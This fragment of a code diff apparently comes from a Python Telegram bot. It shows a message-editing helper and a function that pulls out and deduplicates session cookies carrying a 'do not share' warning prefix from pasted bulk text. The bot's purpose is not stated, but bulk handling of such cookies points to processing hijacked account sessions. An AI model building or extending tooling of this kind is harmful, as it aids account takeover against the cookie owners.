||||
await cb.message.edit_text(
|
||||
text,
|
||||
reply_markup=reply_markup,
|
||||
parse_mode=parse_mode,
|
||||
disable_web_page_preview=disable_web_page_preview,
|
||||
)
|
||||
except Exception:
|
||||
try:
|
||||
await cb.message.answer(
|
||||
text,
|
||||
reply_markup=reply_markup,
|
||||
parse_mode=parse_mode,
|
||||
disable_web_page_preview=disable_web_page_preview,
|
||||
)
|
||||
except Exception as exc:
|
||||
logging.error("safe_edit fail: %s", exc)
|
||||
@@ -0,0 +1,17 @@
|
||||
def parse_cookies_text(text: str) -> tuple[list[str], int]:
|
||||
valid = set()
|
||||
duplicates = 0
|
||||
for line in text.replace("\r", "").split("\n"):
|
||||
line = line.strip()
|
||||
if "_|WARNING:-DO-NOT-SHARE-THIS." not in line:
|
||||
continue
|
||||
try:
|
||||
cookie = line.split("_|WARNING:-DO-NOT-SHARE-THIS.")[1].split()[0]
|
||||
full = f"_|WARNING:-DO-NOT-SHARE-THIS.{cookie}"
|
||||
if full in valid:
|
||||
duplicates += 1
|
||||
else:
|
||||
valid.add(full)
|
||||
except Exception:
|
||||
pass
|
||||
return list(valid), duplicates
|
||||
Reference in New Issue
Block a user